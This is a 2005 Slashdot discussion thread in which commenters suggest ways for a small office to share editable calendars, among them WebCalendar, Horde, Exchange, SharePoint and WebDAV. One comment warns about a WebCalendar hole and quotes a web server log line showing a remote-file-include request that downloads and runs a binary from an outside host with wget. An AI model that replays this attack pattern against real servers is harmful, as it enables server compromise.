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How To (Really) Share A Simple Calendar? 118

Posted by Cliff from the workgroup-holy-grail dept.
Lucas asks: "I run a small business as one of the people who 'knows something about computers', which now means, like many of you, I find myself having to solve IT problems. We have been trying to share maybe three simple, stupid calendars. Here's the catch -- we need to able to edit each other's calendars! This is where the problem comes in. We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface), OfficeZilla (too complicated for just one calendar), Calendars.net (too slow), ACT! (bolted on and expensive), and Yahoo (not designed for corporate stuff). Even iCal won't let you edit someone else's calendar. Is there any way to do this -reliably- without using MS Exchange and without spending a ton of money?"
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How To (Really) Share A Simple Calendar? More

How To (Really) Share A Simple Calendar?

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  • webcalendar (Score:4, Informative)

    by haydenth ( 588730 ) <haydenth AT msu DOT edu> on Wednesday October 19, 2005 @09:52PM (#13832297)
    I use (and love)webcalendar [k5n.us].

    • Re:webcalendar (Score:4, Insightful)

      by Ethan Butterfield ( 7481 ) on Wednesday October 19, 2005 @10:38PM (#13832534)
      I also use and love Webcalendar. It is quick to set up, and its only real needs are PHP and a MySQL backend. Viewing other people's calendars is easily set up via Layers, and any user with Admin rights can edit other people's calendars. I brought it in about a year and a half ago for the consulting business I work for. We've got 6 people regularly using it and it hasn't choked on us yet.

      • Re:webcalendar (Score:4, Insightful)

        by chill ( 34294 ) on Thursday October 20, 2005 @02:48AM (#13833587) Journal
        I'll have to second this one.

        I set up WebCalendar for a financial services organization. They have 150+ users spread around the country and WebCalendar is accessed as a plug-in to Squirrelmail. We mandate SSL/TLS connections and it performs wonderfully.

        When I left the new techies wanted to replace it with Exchange/Outlook/OWA and were flat out told "no way in Hell" by management. The killer sticking point was the ability to overlay calendars -- something Outlook just can't do. (Side-by-side just is not the same.)

          -Charles

    • Re:webcalendar (Score:4, Informative)

      by B00yah ( 213676 ) on Thursday October 20, 2005 @07:45AM (#13834477) Homepage
      Be careful. I ran in to an issue with web calendar 1.0.1, where someone used a php vulnerability built in to the reminder function to upload and execute remote software.

      212.138.47.24 - - [29/Aug/2005:14:01:50 -0500] "GET /calendar/tools/send_reminders.php?includedir=http ://aimbig.co.kr/readme/img/.nd1.dat?&cmd=cd%20/tmp ;wget%20http://www.fullteam.net/xpl/r0nin;chmod%20 777%20r0nin;./r0nin [fullteam.net] HTTP/1.0" 200 17169 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"
    • Another vote for webcalendar. I installed it several years ago for our small company of 25 people. Because it is open-source, I was able to easily integrate it into our homegrown PHP-based contact management system. This allows our 15 sales people to develop detailed customer contact schedules where they can drill down from the calendar to the company/contact. Because the backend is a simple MySQL DB, I was able to quickly write a simple cron-based script that sends people a jabber pop-up reminder when

  • Kerio MailServer (Score:5, Informative)

    by johnjones ( 14274 ) on Wednesday October 19, 2005 @10:03PM (#13832362) Homepage Journal
    there are many ways of doing what you want

    you can use webserver with a web calendar or various custom applications depending on how you work

    Or

    You could use Kerio Mail server this allows multiple people access to a calendar i.e. a shared calendar for the web and Microsoft Outlook

    see Kerio MailServer [kerio.co.uk]

    regards

    John Jones

    discalimer I work for Kerio

  • A test to destruction... (Score:5, Insightful)

    by davecb ( 6526 ) * <davecb@spamcop.net> on Wednesday October 19, 2005 @10:04PM (#13832368) Homepage Journal
    An academic colleague (Hi, Paul!) once said that managing a team's calendars was a test to destruction of most artificial intelligence systems.

    I expect it's hard even when you get to use human intelligence.

    --dave

  • Congratulations, you've found THE killer app for Outlook/Exchange. Seriously, it is probably the best out there right now. Also, unless your company is a startup with no venture capital, spend the money on a 2003 server and exchange. If your company won't spend money on it, I'd consider leaving/running away as soon as possible. As much as people on /. preach software religion, in the corporate environment, if you don't use the best tools you can get, you are a moron. I'll repeat that. IF YOU DON'T USE T
    • How the parent post could be seen as "Redundant," I will never know. It doesn't detract from the fact that it's completely right.

      Open source E-mail app? Done in spades. Web browser? Plenty to choose from. Calendaring app? None worth mentioning. Calendering with e-mail?

      Outlook did this how many years ago? It's getting close to ten years, isn't it? The closest thing I've seen to it is Gnome Evolution, and they were just blatently copied the UI of Outlook.

      So if you're on Linux/BSD, use Evolution. If you're on
      • " How the parent post could be seen as "Redundant," I will never know."

        Same way you got yours. Mods with grudges or axes to grind and no compunction against gaming the system. Jerks.

      • Re:MS does have things that are worth the money (Score:5, Informative)

        by jrockway ( 229604 ) * <jon-nospam@jrock.us> on Wednesday October 19, 2005 @11:52PM (#13832920) Homepage Journal
        M-x calendar serves all of my team's calendaring needs. Check the plain text file into and out of CVS and you have distributed calendaring with revision control.

        Oh, but that doesn't cost hundreds of thousands of dollars or have a shiny GUI. Boo fucking hoo. Fuck Windows, and fuck Microsoft.
        • And for the coworkers that aren't well versed with the concept of revision control let alone actually using it?

          A real life solution needs to be usable by anyone, not just those that recognize that M-x is an Emacs-ism.

          Your solution has a horrible UI, but it *will* cost thousands of dollars more than Outlook/Exchange. Why? Because training people to use your system is more expensive than an Exchange license.

          You want to fuck Microsoft? Write a real competitor to Outlook that regular folks can use (or help out
          • When people have used nothing before, training is easy, they'll screw it all up, I know since I had to train when I did IT... I hated it... and loved it. I could get MORE billable hours out of training people than out of "fixing" things... they always got upset when I did the spyware thing every time. (And always found stuff, despite holding sessions with the client's staff.) But yeah... training WAS more expensive than an exchange license, you forget the big iron to run that piece of shit 2003, AND 2003
            • Exactly. I've never used Exchange, so I would require training to use it. Plus, we don't have any Windows machines around here, so I'm not sure what it would run on.

              Needless to say, WebDAV and iCal is as advanced as we need, and that's free.

              The developers prefer plain text files, though.
              • You've never used Outlook/Exchange, but you feel qualified to comment on using it?

                Needless to say, WebDAV and iCal is as advanced as we need, and that's free.

                Leaving aside the fact that Outlook/Exchange supports iCal, you seem to miss a very simple set of facts:

                • Most users don't know what WebDAV is.
                • Most users don't know what iCal is.
                • Most users don't know what a "file repository" is.
                • Most users don't to know the above just as you probably don't want to know the implementation details of their jobs.
                • Most users

            • There are reasons why hackers and geeks hate M$, and just because they are a big "easy" in the corporate climbing agenda, doesn't mean that small businesses or people who've not been stuck on exchange before can't use other things.

              If you were talking about IIS vs. Apache or Windows 2003 vs. Debian, I'd be inclined to agree.

              However...

              as much as Outlook has been a virus/worm/trojan breeding ground, it still performs its duties (e-mail + calendaring + task list) better than any open source application out th

              • I am quite aware about OWA, outlook web access as M$ calls it, I'm also aware about what they DONT tell you (that its VERY easily cracked by anyone willing to put the time and effort into it).

                The basic version works with Firefox, but it is mainly an active X thing, though in all honesty you could build a nicer OSS version in PHP without nearly as many headaches and help the community as well (it has already been done, but not by M$).

                Anyways, I don't know how YOU have all of these issues, most of my things w

                • I'm also aware about what they DONT tell you (that its VERY easily cracked by anyone willing to put the time and effort into it).

                  I'm very curious about this. How exactly would this be done when OWA is working over an HTTPS connection? Got a reference?

                  The basic version works with Firefox, but it is mainly an active X thing

                  Yes, it's Microsoft. I don't really understand why people responding to me think that I like the product. I simply hate the alternatives even more.

                  though in all honesty you could build

                  • Broken record: When the Thunderbird/Sunfire integration is deliverable (or some other contender emerges from the aether), I'll be actively pushing for a wholesale dumping of Outlook. Until that moment, sadly, it's Outlook.

                    I drive a non synchronized stick shift because I love it, not because it is easy

                    Good for you. Can you grow your own food? Do you know how to farm? It isn't easy, but many people find it rewarding. It also helps to make you more self-sufficient.

                    The lesson here i

    • Re:MS does have things that are worth the money (Score:5, Insightful)

      by thegrassyknowl ( 762218 ) on Wednesday October 19, 2005 @11:47PM (#13832902)

      IF YOU DON'T USE THE BEST TOOLS YOU CAN GET, YOU ARE A MORON! Outlook/Exchange happens to be the best tool right now.

      I must be a MORON!!! I use OpenBSD and Linux exclusively and I can't use Outlook/Exchange. I'm not prepared to run my Internet-facing mail server on Exchange (you need mail abilities to use the calendar to its full potential). Putting a M$ product on the greater Internet says more about how moronic you are than not using the best tool for the job.

      There are dozens of great tools for simple calendaring. Did you look at Hoarde (http://www.hoarde.org [hoarde.org]? I bet you didn't. Hoarde have a whole suite of PHP-based groupware applications from Webmail to calendaring to practically anything else you can think of.

      Why would you want a bloated, arbitrarily limited, buggy Exchange program running on a fundamentally flawed OS when you can have a PHP-based application running in any webserver you can make PHP work in (usually Apache, but others exist) on any OS that can run the webserver (OpenBSD is my choice for server OS, Linux might float your boat). Sure, there's no client-side application and it's all web based, but the Outlook program leaves a lot to be desired anyway. If it wasn't mandated here by some manager to use Outlook I'd be using a real client without even thinking about it.

      Think twice before you start calling people morons. OSS might not be the answer to everything, but if you're using other OSS tools the suggesting that a MS tool is the way to go is just being stupid. How do you propose that I get Outlook clients running in a Linux-only shop? The web client for Exchange hides most of the functions that make the groupware in Exchange so "great".

    • Congratulations, you've found THE killer app for Outlook/Exchange. Seriously, it is probably the best out there right now.

      Maybe, maybe not. One thing Outlook/Exchange doesn't seem to be good at is scheduling for small close-knit groups (i.e. a small 4-5 person department that needs to coordinate a lot of things). Switching back and forth is inefficient, a shared calendar in a public folder can make it hard to figure out whose appointments are whose and reminders don't work, using meeting requests for ever
    • There _is_ a reason why people shouldn't use Exchange.

      Nowadays, if you don't go by standards, you are fucked in the near future. You don't know whether your company will want to upgrade to next mswindows version, and with exchange you don't have a migration path. At least, as there are no big standards for calendaring, you should use software that lets you retrieve the information and use it elsewhere, easily. Vendor lock-in is a risk for any company, you have the responsibility to help the company you work
      • I feel happy about the origional question, because I have the same question. And if it keeps getting asked, the answer will keep changing.
      • > It's not _that_ ok to come to Ask Slashdot, just to save a few bucks.

        As you correctly recognize, Slashdotters are substantially wealthy people who should be embarrassed about asking such prole-ish questions like "how can I save money?"

        Clearly, your address at "freeservers.com" shows that you are one of these wealthy high-roller Slashdotters. We apologize for offending you.

        You are also correct in implying that Slashdotters spend their large amounts of money on whatever "everyone else is using" because

        • I live in Uruguay, I am not wealthy at all. I didn't remember I had that freeservers page though, thank you.

          What I was specifically saying is that have a problem getting any sympathy for some guy who doesn't want to do some googling, and wants to bother other people just to save a few bucks.

          I don't like it in RL when people come to me asking for my free time so they can save some bucks. I need a better motivation. For example someone who really can put the bucks they save, to a good use, like a public schoo

  • back to basics (Score:2, Insightful)

    by Anonymous Coward
    blackboard, chalk, free paper calendar, clock, bell(optional)

  • Horde (Score:5, Informative)

    by rmm4pi8 ( 680224 ) <rmiller@reasonab ... Yet minus author> on Wednesday October 19, 2005 @10:09PM (#13832395) Homepage
    The best simple solution is Horde [horde.org] and its Kronolith calendaring application. Lets you set up shared calendars and set editing permissions. Doesn't automatically figure out when meeting times will work for everyone, but it's easy and it will do your email, tasks, and time-tracking as well. If you need any help setting it up, check the mailing lists or just email me (I worked on Horde for my Summer of Code project).
    • Could you ask the Horde developers to create an area describing how to install the entire Horde system (with all modules as optional steps) in a step-by-step fashion. Its just so modular, I don't know what to do, and when.
      • Sorry to respond so late, but just install the framework (by dropping it into a web-accessible folder), then just drop each module in a folder inside that. It really is that simple. Then just drop the *.dist off of *.php.dist in the config files, and use the web configurator. Have any snags, email me.

  • Wiki (Score:1, Interesting)

    by dcapel ( 913969 )
    Wikiwikiwiki!

    I'm not kidding, it would work well. :)
    • Just out of interest, how do Wikis cope if more than one user is editing a page at the same time?

      The calendar'd be edited frequently, I'm just thinking that it might be possible that it two people edit at the same time the first one to submit will lose their entry when the next one is submitted. It'll be in the history, but since it wasn't in the other person's textarea it'll disappear when they submit.
      • Perhaps using a Writely page? (http://www.writely.com/ [writely.com]

        Each page refreshes every few seconds (practically in real time), so clashes are unlikely.

        With that said, Writely's meant as a document collaboration service, not a calendar sharing service, so YMMV.

      • Re:Wiki (Score:2, Informative)

        by ggvaidya ( 747058 )
        Just about all the Wiki software I know (including MediaWiki) makes sure that doesn't happen. The way it works is:

        1. Person X starts to edit the page.
        2. Person Y starts to edit the page.
        3. Person X saves his copy.
        4. When Person Y saves his copy, he is warned that the previous content has been edited, and is presented with two textareas, containing person X's revision and person Y's new revision. He is responsible for merging his changes back into person X's revision.

        Dunno if that'll be too cumbersome for yo
        • That's good, I didn't know if it had that feature in it or not (I've never attempted to edit a page at the same time as anyone else so I've not run into it).

          It still has the problem you might have to revise it, the revise it, then revise it, then revise it... if lots of people are submitting at the same time.

          I suppose whether it would work or not would depend on how many people were using it. If it was only a couple it might work well, while if it's 100 it'd probably not. Splitting the calendar into as many
          • Yes, you might have to revise it again and again, if people keep getting their changes in. Happened to me a few times on Wikipedia (running MediaWiki) when editing current topics or community pages like Articles For Deletion. On MediaWiki you wouldn't need to split the calendar into multiple pages, multiple sections which can be edited individually would do the job. It's a perfectly viable solution for small groups and light usage, not so good for large groups or very heavy usage. We determined a common tim

  • SharePoint (Score:3, Informative)

    by skwirlmaster ( 555307 ) on Wednesday October 19, 2005 @10:11PM (#13832407)
    Well, it seems you have a windows environment, but don't want to purchase exchange. There is another tool, Windows SharePoint Services. It can be configure to have a calendar for each member. It is free, but it requires IIS 6, Win2k3, and SQL Server or the free data engine thingy.
    There is a catch, you have to use the web interface to edit the calendars. You can always set that up to open in outlook.
    We use it for an office calendar, useful!

    • Re:SharePoint (Score:4, Interesting)

      by Jjeff1 ( 636051 ) on Wednesday October 19, 2005 @11:21PM (#13832775)
      The "free data engine thingy" is also known as MSDE, and works pretty well, but is limited to databases of less than 2 GB. You didn't say why Exchange has been ruled out. If it's for stability reasons, you're barking up the wrong tree. Exchange is pretty solid and has gotten more reliable over the years. Same with Windows. If it's a cost issue, Windows 2003 small business server is $599, which includes Exchange and Outlook 2003 and 5 CALs. If you need the hardware, you can get a cheap http://configure.us.dell.com/dellstore/config.aspx ?c=us&cs=04&kc=6W300&l=en&oc=sc430r649&s=bsd [slashdot.org]>Dell server AND 2003SBS for under 700$. You'll probably want to spring for something more fault tolerant, which could cost you 1000$. Over 5 years, you're talking about an expenditure of $20 per month. That's less than the coffee fund. You'll need to setup and maintain it, if you don't have a windows background that could prove tough for you. But there are reasons so many places stick with Exchange, shared calendars are high on the list.
      • You didn't say why Exchange has been ruled out.

        Personally, I'd rule out Exchange because it would encourage the use of Outlook. Outlook can be wonderful for calendars and such, but people have a tendency to also use that pesky "mail" module.

      • That's why no free or competeing groupware projects are really widespread anymore... Exchange is actually pretty darn cheap and works well.

        Look at the competition... Lotus, Groupwise, etc suck ass.

  • Avalon Business Systems (Score:4, Informative)

    by Johnso ( 520335 ) on Wednesday October 19, 2005 @10:12PM (#13832413)
    My small IT office uses the Avalon Management Suite from Avalon Business Systems [avalonbusiness.com]. It's a complete productivity suite which might be overkill for you, but it has the best group-based calendar I've ever seen.

    You can set up permissions so that you can create your own appointments, create others, or suggest others which are put into a "pending" approval queue. It's all web-based and sexy as hell.

    I'm not sure how much it costs, but you can probably get just the features you want. I can vouch that pretty much every aspect of it is great.

  • I've done it with InsightServer (Score:4, Informative)

    by scumdamn ( 82357 ) on Wednesday October 19, 2005 @10:12PM (#13832415)
    The requirements for one job I've done was that the calendar had to work with Outlook and had to basically look just like Exchange to the people in the office. I went with InsightServer running on a RedHat Linux server. it cost a lot less than Exchange and it works great. It's been running for about two years now without any problems. The only issue we've had so far is Blackberry support. Feel free to ask me any questions if you decide to go with it.

  • You were so close (Score:5, Insightful)

    by Just Some Guy ( 3352 ) <kirk+slashdot@strauser.com> on Wednesday October 19, 2005 @10:13PM (#13832423) Homepage Journal
    First, you neglected to mention which OS(es) you're targetting, so we'll just have to guess.

    Anyway, you were on track with the WebDAV server. I use Apache 2's built-in mod_dav to host [honeypot.net] several calendars, and view/edit them with Sunbird (Windows) and Korganizer (Unix). I think your time would be better served debugging your first attempt than starting over from scratch.

    • Re:You were so close (Score:3, Interesting)

      by alonsoac ( 180192 )
      I did want to bother with mod_dav so what I did was setup the PUT method on Apache, which involves uploading a script that saves files when PUT by a client. So that basically allows the KOrganized to put the calendars back on the server. Then I made it ask for a password so that only authorized users would be able to get the calendar in the first place.

      Require valid-user
      AuthName "calendarios"
      AuthType Basic
      AuthUserFile /www/passwd/cal.pw

      It works perfectly. I used to use Sunbird too and worked fine, but didn'

  • 4Team (Score:3, Informative)

    by aspjunkie ( 265714 ) on Wednesday October 19, 2005 @10:22PM (#13832465) Homepage
    I was looking for a similar solution a few years ago and 4Team seemed to work well enough.

    http://outlook.4team.biz/ [4team.biz]

  • This works too (Score:4, Informative)

    by tsm_sf ( 545316 ) * on Wednesday October 19, 2005 @10:40PM (#13832544) Journal
    dotProject [dotproject.net] is pretty good. Allows you to filter the display of entries, and if you'd combine that with a few user accounts that have access to each other's stuff it'd probably do the trick.
  • My college used a web-based calendar program by Brown Bear Software. [brownbearsw.com] It was pretty bare-bones as far as aesthetics, but wasn't lacking in features, and played fairly well with stuff like Outlook in that it supporeted import and export - no automatic synchronization, of course.

    It has a pretty good system for modifying others' calendars, setting up meetings, stuff like that.
    • Right. This is the back-end software used by Calendars.Net (which is slow, as the OP complained, because it hosts zillions of calendars).

      I'm in a department of about 20 people, several of whom are fairly technophobic, and this is the only piece of communal software I can remember intutitive enough for end users that everyone wound up using it without complaint. (You do have to have a set-up person willing to RTFM in order to choose appropriate options and customizations. But that all requires little technic

  • No one has mentioned. (Score:3, Informative)

    by /dev/trash ( 182850 ) on Wednesday October 19, 2005 @10:48PM (#13832586) Homepage Journal
    Calcium [brownbearsw.com]

    Which runs on Windows and Linux.
  • Dude, keep it simple! Use

    Notep
    ad.

    (PS: _sometimes_ the paste function doesn't work right)

  • WebDAV Versioning (Score:5, Informative)

    by Noksagt ( 69097 ) on Wednesday October 19, 2005 @11:22PM (#13832785) Homepage
    We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface)
    I'm a huge fan [northwestern.edu] of WebDAV+iCal & I suggest you try again & solve some of the problems you encountered. If needed, automatically backup your WebDAV content and/or choose a better WebDAV module. It is too bad that WebDAV doesn't have true versioning, but there are implementations which do DeltaV versioning, which would solve a lot of this.

    Also look into the fledgling CalDAV [webdav.org] implementations & projects like Hula [hula-project.org] (server) and Chandler [osafoundation.org] (client). Very recent binaries of Sunbird also sport CalDAV support.

  • open-xchange (Score:4, Informative)

    by gizmo_mathboy ( 43426 ) on Wednesday October 19, 2005 @11:29PM (#13832823)
    open-xchange is ok. It isn't Exchange but then again what is? I would really, really like to find a replacement for it.

    There is a free [open-xchange.org] version and a pay [open-xchange.com] version.

  • Does anything like this (calendar stuff in general) make use of LDAP backends? I imagine the authentication and ACL-like permissions would come in handy in a situation like this...
    • iPlanet Calendar Server, formerly Netscape Calendar Server, and SunOne Calendar Server before being renamed Sun Java System Calendar Server [sun.com], uses LDAP for its authentication. (to be specific, the Netscape/iPlanet/SunOne/SunJava System Directory Server [sun.com], or whatever they're calling it this week)

      The calendar server uses LDAP not just for authentication, but also to store user's preferences. (as do sun's mail server and other products)
  • It's been a while, but for shared calendaring we used to use Meeting Maker [meetingmaker.com]. It is licensed per-user, allows shared calendars, and also allows each person to assign editing privileges to their person calendar so one person can have either a single person or the entire user base in their list of allowable contributors.

    I remember it being pretty nice for cross-platform use and had a built-in web interface as well.

  • Sunbird Deletes Calanders! (But it's fixable) (Score:5, Informative)

    by zulux ( 112259 ) on Wednesday October 19, 2005 @11:47PM (#13832901) Homepage Journal

    When you have a WebDAV server setup and have Sunbird/Mozilla Calander setup - it will delete calendars that have zero items. Delete the last item in your calendar, and POOF, you have a zero byte .ics file. Once you begin to use your calendar, this problem goes away. But when you're just testing things it looks like a show stopper.

  • we made a custom solution, when you a enter an appointment it will flow into outlook. we did have from outlook to the custom solution however it was too buggy so was pulled. If your interested contact me

  • why not exchange (Score:4, Insightful)

    by moosesocks ( 264553 ) on Thursday October 20, 2005 @12:43AM (#13833159) Homepage
    why not just use exchange?

    what you're describing isn't exactly that simple, and calendaring is perhaps exchange's most touted feature among those who use it.

    and it's popular enough that it's available in some form on every platform (Evolution for *nix, Outlook for Win32, Entourage for OSX)

    I'm not a very big microsoft advocate, but it seems like you're passing up a perfectly good product based upon your bias against microsoft.

    If Sunbird was stable, or came close to matching the ease-of-use or maturity of outlook, I'd reccommend it even if outlook had the edge because of price and the fact that it's not microsoft. But the fact is that nothing comes close.

    • Re:why not exchange (Score:3, Interesting)

      by GreatDrok ( 684119 )
      Interesting comment. We currently have a Windows infrastructure put in place before I arrived. It has 12 licenses and our company is about to use up the last of them. To add another user we will need to buy CALs for each of the three servers (win2003) we run, exchange, office etc etc. Surprising how this adds up. Anyway, since we intend to get bigger and we don't like having to dip into the pot every time we want to add one more user we are ditching the win2003 boxes in favour of linux servers (its OK,
    • Based on what? the fact that MS monopoly on desktop and office software has given Outlook/Exchange something like a 30% marketshare?

      Novell and IBM products (groupwise, notes) definitely are equally good for basic mail/calendering, and notes can do much more for collaboration if you use it properly (in fact, you can negate the need for a fileserver altogether if you want).

      You are correct in assessing that currently no equally good free alternatives exist, but alternatives DO exist.
  • Either Lotus Notes or Lotus Workplace will do that for you.

    If you only use the Lotus Notes client (ie. no domino server), and have a shared fileserver, you could make the data directories (where the notes client saves it's data) available on the fileserver. It's simple but has the problem you will not be able to use it off location. If you get domino or workplace this wont be a problem.

    With workplace the client is also available for linux btw. With notes only win32 and Mac clients are avail. though the win3
    • On win32 you might get some annoyances though - for example in MS Office 2k3 MS removed the ability to use the file -> send -> email option unless you use outlook. Atleast untill Office 2K it worked fine with everything else too.

      --
      That is a blatant violation of the US DOJ Antitrust Settlement. Kindly contact your attorney-general. The point of "Set Programs and Defaults" was so that any middleware could work equally well with Microsoft programs. It is an uphill battle --Outlook isn't even listed in th
      • File->Send To->Mail Recipient on Windows XP with the Mail/News application default set to Thunderbird [mozilla.org] fires up... you guessed it, Thunderbird, instead of Outlook 2003 or Outlook Express (both of which are installed on this machine).

        Stupid zealot. "contact your attorney blah blah blah" indeed.

        • Yes, when you use windows explorer it works fine, however it no longer works from within MS Office programs.
          If you by chance have MS Office installed, and have not installed MS Outlook, you will notice that the "Mail Recipient" option is grayed out.

          It DID work in MS Office 2000, I'm not sure about 2002/XP, but probably, like 2003 it no longer works. In effect MS disabled it for non MS programs.
        • You know I really do not appreciate that. I switched from Mac to Windows as soon as I could (Windows 98), because it appeared more stable when looking at Windows 95. And in all honesty, it was. stable. I even stabilized Windows ME, by carefully tracking resource leaks in .. Eudora, and deciding to ditch it because it was too leaky. (Outlook was not an option at this point because it didn't filter existing messages.. it does now.)

          What I slowly discovered was that Active Desktop caused major stability and spe
      • Really? I thought the monopoly cases only went as far as windows and didn't go into the Office monopoly.
        Since this is only an office thing I'm not sure it applies.

        Anyway, I have no problem contacting the DOJ, even though the EU Commision would be more relevant for me.
        • I have a tendency to assume that everyone is US based. My apologies. I really don't like getting Microsoft in trouble. If they had a place to report an issue with "Set Program Access and Defaults" that was not legalistic, I would do so.

          Here are the US websites:
          http://www.microsoft-antitrust.gov/ [microsoft-antitrust.gov]
          http://www.thetc.org/ [thetc.org]

          My AG recommended reporting complaints to both.

          I just had an idea that perhaps an Ask Slashdot would be appropriate for this. We could get several complaints. For me, the complaint is two part or
          • Well, it obviously is MS changing something in MS Office, since, as noted, the function worked fine in Office 2K, and no longer works in Office 2K3.

            The MAPI thing is a little different IMHO, since MS included the function in windows untill 2K, but then moved the function from windows to office, meaning that if you wanted to use it you need to install outlook along with office (I've made some programs work with notes this way).

            Simply put, MS has willfully made 2 changes to make it more of a hassle to use oth
            • Ok. so you are talking about Lotus notes. Good to know.

              http://support.microsoft.com/?kbid=190146 [microsoft.com]

              This knowledge base article seems to suggest that it was possible in Outlook 98.

              If you haven't heard of MAPI, it's worth a Google search.

              --Sam
              P.S a support call to Microsoft might reveal some workarounds, and they will then post a knowledge base article about it. ($35 only if they can solve your problem) You might make it clear that you consider it a bug (bugs are free).
              • I'm thinking we are talking past each other here:

                MAPI support has since windows 2000 not been part of windows. Instead MAPI support has been moved to the Office package, and only installed with the Outlook from MS Office.

                Thus, programs that need MAPI support, has since Windows 2000 also required that Outlook be installed.

                The article you link to, points out that Lotus Notes supports MAPI, of course MAPI support needs to be installed.

                So my complaint was that since Windows 2000, MAPI support requires a MS Offi
                • Thanks for the clarification. Åre you looking for extended mapi support, or simple mapi support?

                  You may find the following useful:
                  1. Does Lotus Notes support set program and defaults? If not, goto step 2. If so, goto step 2.
                  2. In the Programs tab on the Internet Options control panel, is Mail set to be Lotus Notes?
                  a. Set it to blank.
                  b. set it to Lotus Notes

                  This may solve your issue. Or have you already gotten MAPI to work with Word?

                  Summary:
                  simple vs. extended?
                  some troubleshooting steps
  • It can access vcal calendars via ssh or ftp.

  • Various good web-based options. (Score:5, Informative)

    by Domini ( 103836 ) on Thursday October 20, 2005 @05:03AM (#13834011) Journal
    In order of preference:

    1. horde-kronolith http://www.horde.org/kronolith/ [horde.org] (horde suite is quite comprehensive and easy to set up)
    2. webcalendar http://www.k5n.us/webcalendar.php [k5n.us]
    3. MediaWiki with calendar plugin (a little bit tricky to set up, and not as great to use as previous two)

    Basically the shared feature of horde is pretty powerfull with a good rights-system. They also alow calendars to be exported etc.

    Check them out.

  • Citadel (Score:3, Interesting)

    by mcbridematt ( 544099 ) on Thursday October 20, 2005 @05:52AM (#13834134) Homepage Journal
    Citadel [citadel.org] + WebCit, Aethera or some other clients.

    You can create a Calendar room accessible by everyone (or acl'ed as you wish) and people can edit as they wish, as a plus it can handle your mail, among other things. If you want to have a play with WebCit, log onto Uncensored BBS [citadel.org] or one of the [citadel.org] others [citadel.org].

    Disclaimer: I'm to blame for the upcoming NNTP implementation in Citadel, along with a patch to use Bogofilter, and the token Australian node on the "IGnet".

    • I'll add a vote for this, at least on a "try it out and see how it works for you" basis - my experience with it is limited at this point but I like what I see so far.

      I've just started using Citadel as an SMTP/IMAP server to see how it works. It was pretty easy to compile and get running, and seems to work painlessly with Thunderbird. I haven't tried calendars in it yet, but that's "soon" on my list, once I've had time to find the documentation on it.

      I had a problem getting webcit to run properly, but I

  • It really sounds like you're trying to use publishing where it isn't appropriate. If anyone can edit a particular calendar, it isn't really "someone else's". The only type of server I see a need to involve is a file server, and you'd simply use whatever calendaring application you prefer to edit the files directly. As a bonus, standard file-based permission can be used to restrict access to the group of people who can edit them. Everything else you're talking about seems to be overkill for a small busi

  • Hula Project (Score:2, Informative)

    by sruchris ( 881923 )
    Check out Novell's Hula Project [hula-project.org]

    • Re:Hula Project (Score:1, Informative)

      by Anonymous Coward
      It isn't ready for use yet! Read their FAQ page under the supported client section. Every single client is either TBD (to be done) or "Planned (via CalDAV)." That obviously isn't a solution.

  • Do you really want others to edit your Calendar? (Score:4, Insightful)

    by gstoddart ( 321705 ) on Thursday October 20, 2005 @10:16AM (#13835547) Homepage
    Really edit, or do you wish to be able to invite people?

    My first response to that actual ability for you to edit someone else's calendar is acceptance and actually being able to make it.

    If someone edits your schedule without you knowing, you may not kow the scheduled item is in place. Likewise, if someone decides you need to be at their power-point meeting instead of picking up someone at the airport, that's bad.

    I'm of the firm opinion that people need to be able to accept invitations instead of simply being informed they'll be showing up at a certain time. It's my time to manage, not yours.

    Then again, I'm not a fan of having schedules imposed on me by other people. So the idea of somsone else editing the final version of my schedule would make me rather irate.
  • I've been using this [awsd.com] for years. The calendar itself is Perl and the data is stored in plain text files. Very flexible, very simple. With no customization it's great, and if you're not scared of editing things in Perl (you don't have to KNOW Perl, just know enough about code to recognize what lines to copy-n-paste, how to set variables, etc.--if you got WebDAV working, you can probably handle this.) it's pretty much unlimited. It's $25 shareware though since it's Perl it obviously doesn't expire or anything.
  • But here are some guesses anyway.
    1. Use a wiki. Mediawiki works fine for me, it's easy to use and should be easy for you guys to pick up. Plus I'm sure you'll find more uses for it.
    2. Barring that, get a large 16 month calendar... either a whiteboard one that you can wipe off every month, or one of these [google.com] that are a foot and a half by two and a half feet. I'm going to guess you don't need to plan ahead too far in advance.
    3. If your needs aren't that great, there's nothing wrong with just a regular ol' 12 month [vikingphoenix.com] ca [calendarhome.com]
  • shameless plug, and probably more simple than you're looking for, but who knows...

    CGI Calendar [sf.net]
    (hosted at Sourceforge, licensed under GPL)
  • I had a similar problem at a client of mine that runs primarly on Mac's. They not only wanted multiple shared calendars, but also wanted shared contact information. As you, I looked into ways of sharing both iCal and Address Book, but came up with short comings to both.

    After poking around the net for a while, I found these guys http://www.xcnetwork.com/index.jsp [xcnetwork.com]. Ok, so its costs money but it solves all the issues, and best of all it is cross-platform.

    Their various plug-ins run on the Mac, Windows an

  • You should take a look at OpenGroupware.org. It's quite mature, and in addition to providing facilities for calendaring/mail/rudimentary document, project and contact management, it supports your beloved thunderbird.
  • I really can't believe I'm apparently the first one to mention Workgroupshare.
    (at workgroupshare.com).
    It's relatively cheap ($150 for 5 users) - allows people to share calendars, emails, contacts, etc.
    I've used it for a while and can't really complain.
    It allows advanced permissions (so only certain users can see your emails, or only certain users can modify /view your calendar, etc..)
    and is overall, a pretty mature product, IMHO.
    I have more than a couple of clients that use it without problem.

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